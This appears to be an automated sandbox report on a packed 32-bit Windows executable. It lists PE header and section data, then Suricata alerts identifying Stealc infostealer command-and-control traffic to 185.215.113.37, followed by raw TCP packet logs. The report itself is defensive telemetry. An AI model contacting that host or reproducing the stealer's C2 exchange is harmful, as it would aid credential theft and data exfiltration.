TLSH:	38853380887A5A7CCD5CD7B97CB1E8CD0B7C49E62D56C8F8F166026613CA94B04DE93B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3F40EF7D8Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	40c3274f545f0f7e531d1fd6b223a0e4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a1000	0x200	047b25bc73c7d0b9d4a799b533c0d2cb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qhigkmaa	0x4ff000	0x19d000	0x19c200	d086ca60bb24afef5732387f80ea330b	False	0.9950505431073703	data	7.954748642799094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
znawcmbm	0x69c000	0x1000	0x600	f64f9382a4b94d9e34b795818af88c20	False	0.5638020833333334	data	4.936156170793703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69d000	0x3000	0x2200	792f4d75b6a75fb0dfc47049f08751d0	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T18:03:11.503782+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:11.722488+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:11.731300+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.12	49711	TCP
2024-10-07T18:03:11.943639+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:12.068734+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.12	49711	TCP
2024-10-07T18:03:13.175649+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:13.832539+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:20.185536+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:21.776700+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:22.791550+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:23.694528+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:27.015764+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.12	49711	185.215.113.37	80	TCP
2024-10-07T18:03:27.669510+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.12	49711	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:03:10.578409910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:10.583499908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:10.583585024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:10.584438086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:10.589234114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.261858940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.261940002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.265957117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.270879030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.503696918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.503782034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.505079031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.509896994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.722426891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.722445965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.722487926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.722521067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.725891113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.731300116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943500042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943531990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943542004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943639040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.943660021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943671942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943684101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943703890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.943731070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:11.943964958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.943977118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:11.944016933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:12.063143969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:12.068733931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.283957958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.284038067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:12.326874018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:12.326916933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:12.331909895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.331926107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.331934929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.331945896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.331996918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.332087040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:12.332139015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.175584078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.175648928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.464068890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.469963074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.832437038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.832508087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.832539082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.832544088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.832576990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.832637072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.832755089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.832791090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.832818031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.832848072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833017111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833051920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833085060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833097935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833117962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833127022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833152056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833158970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833187103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833194017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833229065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833688974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833719969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833736897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833754063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.833765030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.833806992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.945188046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.945272923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.945277929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.945312977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.945327044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.945354939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.945573092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.945605993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.945661068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.945805073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.945929050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.945975065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946021080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946038961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946070910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946104050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946109056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946125031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946139097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946296930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946351051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946486950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946542025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946592093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946629047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946674109 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946784973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946818113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.946837902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.946863890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.947521925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.947552919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.947568893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.947590113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.947628021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.947670937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.947705984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.947729111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.947747946 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.948256016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.948308945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.948309898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.948338985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:13.948364019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:13.948379040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.069719076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.069761038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.069775105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.069802046 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.069830894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.070014000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070033073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070056915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.070082903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.070244074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070256948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070269108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070281029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070287943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.070292950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070319891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.070338011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.070882082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070895910 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.070930004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071093082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.071109056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.071141005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071161032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071352959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.071366072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.071377039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.071388960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071403027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071404934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.071417093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071419001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.071436882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071454048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.071969986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072021008 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.072135925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072146893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072170973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.072190046 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.072490931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072503090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072514057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072525024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072536945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.072554111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.072915077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.072954893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.073055983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073069096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073095083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.073110104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.073357105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073368073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073379993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073390007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073393106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.073410988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.073441029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.073919058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073930979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073941946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073951960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073955059 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.073964119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073975086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.073985100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.074014902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.074701071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.074760914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.074784994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.074800968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.074927092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.074939013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.074950933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.074978113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.075004101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.075282097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.075294018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.075335026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.197690010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.197720051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.197731018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.197859049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.197864056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.197876930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.197890997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.197904110 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.197931051 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.198126078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198251963 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198261976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198298931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.198395967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198406935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198420048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198437929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.198453903 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.198719025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198730946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198743105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198753119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.198761940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.198790073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.199115038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199126005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199136972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199147940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199157953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.199176073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.199567080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199579000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199589968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199601889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199614048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199615002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.199626923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.199626923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.199664116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.199677944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.200181961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200192928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200205088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200247049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.200278997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.200427055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200438976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200481892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.200517893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200529099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200539112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200550079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200561047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200570107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.200572014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.200592041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.200612068 CEST	49711	80	192.168.2.12	185.215.113.37
